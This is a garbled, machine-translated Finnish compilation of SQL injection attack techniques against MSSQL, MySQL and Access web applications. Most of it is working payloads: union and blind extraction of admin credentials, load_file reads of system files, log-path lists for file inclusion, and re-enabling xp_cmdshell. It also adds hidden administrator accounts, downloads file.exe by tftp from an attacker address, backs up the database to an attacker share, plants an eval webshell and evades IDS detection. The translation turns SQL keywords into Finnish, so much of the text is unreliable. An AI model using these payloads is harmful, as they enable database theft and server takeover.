MSSQL:n tietokantakyselyt (haiseva ruoka!) Dark)
Purista pois jokainen MS SQL:n pisara
SQL-lauseen viittaukset ja tietuejoukkojen objektit selitetään yksityiskohtaisesti
Tietoa tallennetuista proseduureista SQL Serverissä
Luo webshell mssql-varmuuskopiolla
SQL_Injection edistyneet sovellukset
Cross-site SQL injection (laokai)
Outo SQL-injektio (AMANL)
Edistynyt SQL-injektio SQL Server -sovelluksissa
Kuinka käyttää SQL-injektiota hakemistojen läpikäyntiin
SQL-injektiotekniikoiden läpipeluu (kääntäjä: demonalex)
Joitakin hyökkäyksiä SQL-tietokantoja vastaan
SQL-injektio-hyökkäystekniikka (JSW)
SQL_Injection Edistyneet sovellukset (APACHY)
Epätavalliset SQL-injektion menetelmät (Guilin Veteran)
Varaa kuori
Puhutaanpa php+mysql-injektion lauserakenteesta (Heyhehehehe·≯Super· Hei)
Edistynyt SQL-injektio MySQL:llä (enkeli)
L'injection (My)SQL PHP:n kautta
Oracle SQL Language
SQL:n manuaalinen injektionaalinen tietosanakirja
Edellytykset vaativat työkaluja: SQL Query Analyzer ja SqlExec Sunx Version ============================================================================================== 1. Selvitä, onko pistospiste ; ja 1=1 ja 1=2 2. Arvelen, että taulun nimi on vain ylläpitäjän käyttäjä, salasana jne.: ja 0<>(valitse lukumäärä(*) kohdasta *) ja 0<>(valitse count(*) adminilta) — Selvitä, onko ylläpitäjätaulu olemassa 3. Arvaa tilien määrä Jos kohtaat 0< palaa oikealle sivulle 1< palauta virhesivu osoittaaksesi, että tilien määrä on 1 ja 0<(valitse count(*) ylläpitäjältä) ja 1<(valitse count(*) ylläpitäjältä) 4. Arvaa kentän nimi Lisää kentän nimi, jonka ajattelemme len( ) sulkeissa. ja 1=(valitse count(*) administa, missä len(*)>0)– ja 1=(valitse count(*) ylläpitäjältä, missä len(kentän nimi)>0) ja 1=(valitse count(*) ylläpitäjästä, missä len(_blank>salasanakentän nimi)>0) 5. Arvaa kunkin kentän pituus Arvaa pituus muuntaa >0, kunnes oikea sivu palautuu ja 1=(valitse count(*) administa, missä len(*)>0) ja 1=(valitse count(*) ylläpitäjältä, missä len(name)>6) virhe ja 1=(valitse count(*) administa, missä len(name)>5) Oikea pituus on 6 ja 1=(valitse count(*) ylläpitäjältä, missä len(name)=6) on oikein ja 1=(valitse count(*) ylläpitäjältä, missä len(password)>11) on oikein ja 1=(valitse count(*) ylläpitäjältä, missä len(password)>12) virhepituus on 12 ja 1=(valitse count(*) ylläpitäjältä, missä len(password)=12) on oikein 6. Arvaa hahmot ja 1=(valitse count(*) ylläpitäjältä, missä left(name,1)=a) — Arvaa käyttäjän tilin ensimmäinen numero ja 1=(valitse count(*) ylläpitäjältä, missä left(name,2)=ab)—Arvaa käyttäjän tilin toinen numero Lisää vain yksi merkki kerrallaan arvaamaan, arvaa tarpeeksi monta numeroa kuin juuri arvasit, ja tilinumero tulee esiin (1) Arvaa pöydän nimi
Käytetyt lauseet: ja on olemassa (valitse * taulukon nimestä)
Esimerkiksi: ja on olemassa (valitse * ylläpitäjältä)
Jos sivu kaikuu oikein, se tarkoittaa, että arvaamamme taulukon nimi on oikea, ja jos sivu on väärä, se tarkoittaa, että kirjoittamamme taulun nimi on väärä
, vaihda sitten taulukon nimi ja jatka arvaamista, kunnes arvaat.
Yleisesti käytetyt taulunimet ovat esimerkiksi admin, manage, user tai put it in the tool run (2) Arvaa kenttä
Käytetyt lauseet: ja on olemassa (valitse kentän nimi taulukon nimestä)
Esimerkiksi: ja on olemassa (valitse käyttäjänimi ylläpitäjältä)
Tässä, olettaen että admin-taulukko on se taulukko, jonka arvasin oikein, haluan selvittää, onko käyttäjätunnuskenttä olemassa, minun täytyy käyttää tätä lausetta, jos sivu
Jos face echo on oikein, se tarkoittaa, että kenttänimi, jonka arvasimme tässä, on oikea, ja jos sivu on väärä, se tarkoittaa, että kentän nimi, jonka kirjoitimme tähän, on väärä
, vaihda kentän nimi ja jatka arvaamista, kunnes arvaat.
Yleisesti yleisiä kenttänimiä ovat käyttäjätunnus, salasana, käyttäjä, pass, name, pass, pwd, usr, psd ja muut kentät (3) järjestys seuraavasti
Järjestys on saada kyseisen sivun kenttien määrän summa, valmistautuen seuraavaan yhteiseen kyselyyn (4) Union Select
1. Jos tuet yhteiskyselyä, etsi näyttöbitti http://www.xxx.com/product_show.asp?id=1 ja 1=2 union-valinta
1,2,3,4,5,6,7,8,9,10,11 Oletetaan, että näyttöbitit ovat 5,6. Seuraavaksi tarvitsee vain korvata kenttänimet, jotka vastaavat ylläpitäjän käyttäjätunnusta ja salasanaa, näyttöbitin sijainnilla tässä
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 ylläpitäjältä löysi taustakirjautumisen 2. Jos yhteiskyselyä ei tueta Ylläpitäjän käyttäjätunnusta ja salasanaa ei voi saada ilman yhteistä kyselyä – käyttämällä Ascii-sanasanaista dekoodausta Kaksi Käytä järjestystä arvioidaksesi taulukon bittien määrän, ja jos se ei toimi, käytä Union selectiä järjestääksesi ne yksi kerrallaan, tässä oletetaan 8 bittiä Kolme Käytä yhteiskyselyä näyttöbittien määrittämiseen Neljä Käytä näyttöbittiä löytääksesi tietokannan nimen, tietokantaversio, 5.0 tai uudempi voidaan injektoida
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Viisi Tietokannan nimellä voit alkaa saada taulukon nimen skeeman = ja sen jälkeen tietokannan nimen HEX-arvon ja arvata taulun nimen
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.sarakkeet+missä+ table_schema=0x666C6965725F6462617365 Kuusi Analysoitu taulun nimi määrittää ylläpitäjän taulun nimi=taulun HEX-arvon ja arvaa taulukon kentät http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(EROTTUVA
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Seitsemän Kun olemme saaneet kentät hallintataulukosta, haetaan kenttien sisältö http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(EROTTUVA
+käyttäjänimi, 0x5f,userpwd),8+from+pub_webmaster Kahdeksan Työkalu skannaa taustaa: Kirjaudu sisään lataamaan troijalainen löydettyäsi, ja jos et löydä robots.txt-tiedostoa, pääset käsiksi Yhdeksän Jos et löydä taustaa, MYSQL-ylläpitäjän salasana paljastuu http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(käyttäjä,salasana),8+from+mysql.user Kymmenen Kun pääset satunnaisesti polulle, palaute on IIS6:n oletussivu 404, mikä osoittaa, että verkkosivuston palvelin on: Windows+IIS6+php+MySql-ympäristö c:\\windows\\system32\\inetsrv\\MetaBase.xml Tämä polku voi saada verkkosivuston konfiguraatiotiedot. Konstruktiolauseet http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Yksitoista Analysoi koodi ja etsi taustaosoite Ensimmäisessä vaiheessa meidän täytyy saada taulukon kenttien pituus Käytetyt lausunnot: ja (valitse top 1 lens (kentän nimi) taulukon nimestä)>0 Kuten mitä: ja (valitse ylin 1 lenssi (admin_name) ylläpitäjästä)>0 Sivu näkyy normaalisti, kentän pituus admin_name on suurempi kuin 0, ja lähetän seuraavaa:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Sivulla näkyy virhe, jossa kerrotaan, että kenttä on välillä 0–10 ja pituus 5 dikotomian avulla Käyttäen samaa menetelmää määrittääkseni kentän pituuden ylläpitäjän salasanalle, saan pituuden 16 Vaihe 2 Siirrytään nyt toiseen vaiheeseen, otetaan tietty merkki kentästä ja haetaan kyseisen merkin ASCII-koodi, jota käytetään
Lausunto: ja (valitse top 1 asc (mid(kentän nimi, N,1)) taulukon nimestä)>0 Katsotaanpa tätä lausetta erikseen, ensin sisimmän mid(käyttäjätunnus, 1,1) funktioon, joka on admin_name-kentän ensimmäinen merkki, N
osoittaa, että ensimmäiset merkit on siepattava, Sitten ulompi asc()-funktio, joka muuntaa mid-funktion sieppaama merkit ASCII-koodiksi, uloin top 1, edustaa ensimmäisen sijan palautuskenttää
Ennätys siis, ">0" lopussa vertaa muunnettua ASCII-koodia tähän numeroon ja lopuksi saadaan sieppaus vaihtamalla viimeistä arvoa jatkuvasti
Tutustu tähän hahmoon tarkemmin ASCII-koodi Luovutus:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Sivu näkyy normaalisti, mikä osoittaa, että tämän merkin ASCII-koodi on suurempi kuin 30. Luovutus:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Sivu näkyy normaalisti, mikä osoittaa, että tämän merkin ASCII-koodi on suurempi kuin 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-koodi, jonka päädyin tälle hahmolle, on 97 Vertaa ASCII-taulukkoa: Voidaan päätellä, että ensimmäinen merkki on "a". Sitten arvioin toisen merkin ASCII-koodin.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Sivu näkyy normaalisti, mikä osoittaa, että merkin ASCII-koodi on suurempi kuin 90, ja viimeinen arvo muuttuu aina Sama menetelmä antoi ylläpitäjän salasanan, ja tulos oli:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 ja 1=(valitse ylin 1 count(*) Administa, missä Asc(mid(pass,5,1))=51) – Tämä kyselylauseke voi arvata kiinalaisen käyttäjän ja _blank> salasanan. Korvaa vain seuraavat numerot kiinalaisella ASSIC-koodilla
Muunna hahmoiksi.
Ryhmä users.id siten, että 1=1–www.myhack58.com Ryhmittele users.id, users.username, users.password, users.privs 1=1– ; Lisää käyttäjäarvoihin (666, hyökkääjä, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä
TABLE_blank>_NAME=logintable Missä COLUMN_blank>_NAME EI MUKANA (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä
TABLE_blank>_NAME=logintable Missä COLUMN_blank>_NAME EI SISÄÄN
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name logintablesta- UNION Valitse TOP 1 salasana LOGINTABLESTA, missä login_blank>_name=Rahul– Katso päivitystä, jonka _blank>-palvelin pelaa = väärä SP4-päivitys musta palkki turvaverkko ja 1=(valitse @@VERSION)–
Katso _blank> tietokantayhteystilin oikeuksia, ja se palauttaa normaalin, mikä todistaa, että kyseessä on _blank> palvelinroolin järjestelmänvalvojan oikeus. ja 1=(Valitse IS_blank>_SRVROLEMEMBER(järjestelmänvalvoja))–
Määritä, _blank> tietokantatili yhdistetty. (Käytä SA-tiliä yhdistääksesi ja palauta normaali = todista, että yhdistetty tili on SA) ja sa=(Valitse System_blank>_user)– ja user_blank>_name()=dbo– ja 0<>(valitse user_blank>_name()–
Katso, poistaako xp_blank>_cmdshell ja 1=(Valitse count(*) FROM master.dbo.sysobjects Missä xtype = X JA name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell poistetaan, palautetaan ja tukee absoluuttista polun palautusta ; JOHTAJA master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== tietokannan käyttöoikeus altistuu verkkosivuston fyysiselle polkukoodille
========================================================================== 1、pudotustaulukko [jm_tmp]; create table [jm_tmp](arvo navrchar(4000) null,data nvarchar(4000)
null) -- Luo taulukko
2、 poista [jm_tmp]; lisää [jm_tmp] johtaja master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Lisää sivustohakemisto taulukkokenttään
3、and (valitse top 1 cast([data] nimellä nvarchar(4000) char(124) [jm_tmp]-tilauksesta [data]
desc)=0 '//Näkyvä kenttä
4. Poista taulukko [jm_tmp] -- Poista tämä taulukko. komentoa varten saada kuori
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Muut asemareitit ======================load_file() Yleisesti käytetty arkaluonteinen tieto =========================================== 1、 korvaa(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Edellä mainitut kaksi ovat PHP-tiedoston näkemistä, joka näyttää koodin kokonaan. On tilanteita, joissa joitakin merkkejä ei korvata, kuten "<" eikä "space", joka palaa
Verkkosivu. Ja koodia ei voi nähdä.
3. load_file(char(47)) voi listata FreeBSD- ja Sunos-järjestelmien juurihakemiston
4. Katso Linux APACHE -virtuaalisen isäntäkonfiguraatiotiedoston osoitteesta /etc/httpd/conf/httpd.conf tai /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf tai C:\apache\conf\httpd.conf WINDOWSin katseluun
System Apache -tiedosto
6. c:/Resin-3.0.14/conf/resin.conf Katso jsp:n kehittämän verkkosivuston hartsitiedostojen konfiguraatiotiedot.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf nähdäksesi JSP-virtuaalipalvelimen Linux-järjestelmässä
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin räjähdyspolku
11. C:\Windows\system32\inetsrv\MetaBase.xml Katso IIS:n virtuaalinen isäntäkonfiguraatiotiedosto
12. /usr/local/resin-3.0.22/conf/resin.conf nähdäksesi RESIN konfiguraatiotiedoston 3.0.22:lle
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama kuin yllä
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuaalinen isäntä
15. /etc/sysconfig/iptables riippuu palomuuripolitiikasta
16. /usr/local/app/php5 b/php.ini PHP:n vastaavat asetukset
17. /etc/my.cnf MYSQL-konfiguraatiotiedosto
18. /etc/redhat-release-järjestelmäversio Red Hatista
19 、C:\mysql\data\mysql\user. MYD esiintyy käyttäjän salasanassa MYSQL-järjestelmässä
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 IP:n katseluun.
21. /usr/local/app/php5 b/php.ini //PHP:hen liittyvät asetukset
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuaalisivuston asetukset
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue näyttää Linux-ytimen jakelutiedot
26、/etc/ftpuser
27. Tarkista operaatioloki LINUXin user.bash_history tai .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Kokeile itse käänteistä PING-kokeilua ; käytä masteria; julista @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ulos; johtaja
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Lisää tili ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Luo virtuaalihakemisto E-levy: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Access-ominaisuudet: (kirjoittamalla webshelliin) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Erityinen _blank> temppu kirjaston purkamiseen: :%5c=\ tai muokkaa %5:ttä / ja \:lla sitoutuaksesi ja 0<>(valitse top 1 -polut newtablesta)–
Hanki tietokannan nimi (järjestelmän tunnukset ovat 1–5, ja voit arvioida ne yli 6) ja 1=(valitse nimi master.dbo.sysdatabasesista, missä dbid=7)– ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=6) Lähetä dbid vuorollaan = 7,8,9.... Hanki lisää _blank> tietokantanimiä
ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=U) räjähtävät taulukkoon olettaen ylläpitäjän ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=you ja nimi ei ole (Admin)).
Muut pöydät. ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype=you ja name=admin ja uid>(str(id))) UID:n numeerisen arvon oletetaan olevan 18779569 uid=id ja 0<>(valitse top 1 nimi bbs.dbo.syscolumnsista, missä id=18779569) saa admin-kentän, false
Asetettu user_blank>_id ja 0<>(valitse top 1 -nimi bbs.dbo.syscolumnsista, missä id=18779569 ja nimi ei ole (id,...)) paljastaakseen muita kenttiä ja 0<(valitse user_blank>_id BBS.dbo.administa, jossa käyttäjänimi>1) saadaksesi käyttäjätunnuksen Vastineeksi saat _blank> salasanan。。。。。 Oletetaan, että on kenttiä kuten user_blank>_id käyttäjätunnus, salasana jne
ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=6) ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=U) saadakseen taulukon nimen ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=u ja nimi ei in(Address)) ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype=u ja name=admin ja uid>(str(id))))
Määritä id-arvo ja 0<>(valitse top 1 nimi BBS.dbo.syscolumnsista, missä id=773577794) kaikki kentät
?id=-1 ammattiliitto valitse 1,2,3,4,5,6,7,8,9,10,11,12,13,* ylläpitäjältä ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 adminilta (union, access on myös helppokäyttöinen)
Hanki WEB-polku ; Luo taulukko [dbo]. [vaihtoa] ([swappass][char](255)); – ja (valitse top 1 swappass swapista)=1– ; Luo TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
mestari.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=JÄRJESTELMÄ
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT lisää polut(polku) arvot(@test)– ; käytä ku1; – ; create table cmd (str-kuva); – Luo taulukko-komento kuvatyypistä 1. Tapa poistaa xp_cmdshell laajennusprosessi on käyttää seuraavaa lausetta:
jos on olemassa (valitse * dbo.sysobjectsista, missä id=object_id(N'[dbo].[ xpcmdshell]') ja
OBJECTPROPERTY(id,N'IsExtendedProc')=1) johtaja sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Laajennusprosessin lisääminen xp_cmdshell on seuraava lause:
(1) SQL-kyselyanalysaattori
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Täytä ensin %s SqlExec Sunx Version Format-vaihtoehtoon ja syötä se CMD-vaihtoehtoon
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
poista
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Testausprosesseja on xp_blank>_cmdshell: ; Toimitusjohtaja.. xp_blank>_cmdshell ohjaaja ; johtaja master.dbo.sp_blank>_addlogin jiaoniang$; – Lisää SQL-tilit ; johtaja master.dbo.sp_blank>_password null, jiaoniang$, 1866574; – ; johtaja master.dbo.sp_blank>_addsrvrolemember jiaoniang$ järjestelmänvalvoja; – ; exec master.dbo.xp_blank>_cmdshell verkkokäyttäjä jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Executive master.dbo.xp_blank>_cmdshell Net LocalGroupin ylläpitäjät Jiaoniang$ /add; – Toimitusjohtaja.. xp_blank>_servicecontrol lähtö, aikatauluta _blank> palvelu Toimitusjohtaja.. xp_blank>_servicecontrol aloitus, palvelin ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Toimitusjohtaja.. xp_blank>_cmdshell tftp - i youip get file.exe – Lataa tiedostoja TFTP:llä
; declare @a sysname-joukko @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname-joukko @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; julistaa @a; joukko @a=db_blank>_name(); varmuuskopiotietokanta @a levylle=IP-osoitteesi Jaettu hakemistosi bak.dat Jos rajoituksia, kyllä. valitse * openrowset(_blank>sqloledb,server; sa; , valitse OK! johtaja
master.dbo.sp_blank>_addlogin hax)
Kyselyrakenne: Valitse * UUTISISTA Missä id=... JA aihe=... JA ..... adminand 1=(valitse count(*) [käyttäjä] -kohdasta, jossa käyttäjänimi=uhri ja right(left(userpass,01),1)=1)
ja userpass <> valitse 123; – ; käytä masteria; – :a tai nimi kuten fff%; – Näyttää käyttäjän nimeltä ffff. ja 1<>(valitse määrä (sähköposti) [käyttäjä]); – ; päivitä [käyttäjät] aseta sähköposti=(valitse top 1 nimi sysobjectsista, missä xtype=U ja status>0) missä
nimi=ffff; – ; päivitä [käyttäjät] aseta email=(valitse top 1 id sysobjectsista, missä xtype=you ja name=ad) missä
nimi=ffff; – ; päivitä [käyttäjät] aseta sähköposti=(valitse top 1 nimi sysobjectsista, missä xtype=you ja id>581577110)
missä nimi=ffff; – ; päivitä [käyttäjät] aseta email=(valitse top 1 count(id) salasanasta) missä nimi=ffff; – ; päivitä [käyttäjät] aseta sähköposti=(valitse salasanasta top 1 pwd missä ID=2) missä nimi=ffff; – ; päivitä [käyttäjät] aseta sähköposti=(valitse salasanasta top 1 nimi, missä ID=2) missä nimi=ffff; – Yllä oleva lause on hakea ensimmäinen käyttäjätaulu _blank> tietokannasta ja laittaa taulun nimi ffff-käyttäjän sähköpostikenttään. Katsomalla ffff:n käyttäjäprofiilia saat ensimmäisen taulukon nimeltä AD Sitten saat tämän taulukon ID:n taulukon nimen mukaan saadaksesi toisen taulukon nimen
lisää käyttäjäarvoihin( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– lisää käyttäjäarvoihin (667,123,123,0xffff)– syötä käyttäjän arvoihin (123, admin–, salasana, 0xffff)– ; ja käyttäjä>0 ; ja (valitse count(*) sysobjectsista)>0 ; ja (valitse count(*) mysysobjectsista)>0 // access_blank>-tietokannalle
Luettele datataulukon nimi ; päivitä AAA Set AAA=(valitse top 1 nimi sysobjectsista, missä xtype=U ja status>0); – Tässä vaiheessa ensimmäisen taulukon nimi päivitetään AAA-kenttään. Lue ensimmäinen taulukko, ja toista taulukkoa voi lukea näin (lisää ja nimi ehdon jälkeen<> juuri saamasi taulukon nimi). ; Päivitä AAA:n asetus aaa=(valitse top 1 -nimi sysobjectsista, missä xtype=U ja status>0 ja
nimi<>äänestys); – Silloin id=1552 ja on olemassa (valitse * aaa:sta, missä aaa>5) Lue toinen taulukko ja yksi kerrallaan, kunnes sitä ei enää ole. Lukukenttä näyttää tältä: ; päivitä AAA-setin AAA=(valitse top 1 col_blank>_name(object_blank>_id(taulun nimi),1)); – Silloin id=152 ja on olemassa (valitse * aaa:sta, missä aaa>5) saa virheen ja saa kentän nimen ; päivitä AAA-setin AAA=(valitse top 1 col_blank>_name(object_blank>_id((taulun nimi),2)); – Silloin id=152 ja on olemassa (valitse * aaa:sta, missä aaa>5) saa virheen ja saa kentän nimen
[Hae tietotaulukon nimi] [Päivitä kentän arvo taulun nimeen ja lue sitten tämän kentän arvo saadaksesi taulun nimen] päivitä taulukkonimi set field=(valitse top 1 name sysobjectsista, missä xtype=U ja status>0 [ ja nimi<>
Taulukkonimi, jonka saat, löydä yksi plus yksi]) [ missä ehto] valitse top 1 nimi sysobjectsista, missä xtype=u ja
tila>0 ja nimi ei ole (taulukko 1, taulukko 2,...) Tietokanta-ylläpitäjätilin ja järjestelmänvalvojatilin luominen _blank> _blank> haavoittuvuuksien injektiointi SQLSERVERin kautta [Nykyisen tilin täytyy olla järjestelmänvalvojaryhmä]
[Hanki datatable-kentän nimi] [Päivitä kentän arvo kentän nimeen ja lue sitten tämän kentän arvo saadaksesi kentän nimen] päivitä taulukkonimi setin kenttä=(valitse top 1 col_blank>_name(object_blank>_id (datataulukon nimi kyselylle), kenttäsarake
Esimerkiksi: 1) [ missä ehto]
IDS-tunnistuksen ohittaminen [muuttujien avulla] ; declare @a sysname-joukko @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname-joukko @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Avaa etä-_blank> tietokanta Perussyntaksi valitse * OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, valitse * taulukosta 1 ) Parametrit: (1) OLEDB-palveluntarjoajan nimi 2. Yhteysmerkkijonon parametri voi olla mikä tahansa portti, johon liitetään, kuten valitse * OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Osoite=192.168.0.1,1433; ,
Valitse * taulukosta 3. Kopioi kohdeisännän koko _blank> tietokanta ja lisää kaikki etätaulut paikalliseen taulukkoon.
Perussyntaksi: insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, valitse * taulukosta 1) valitse
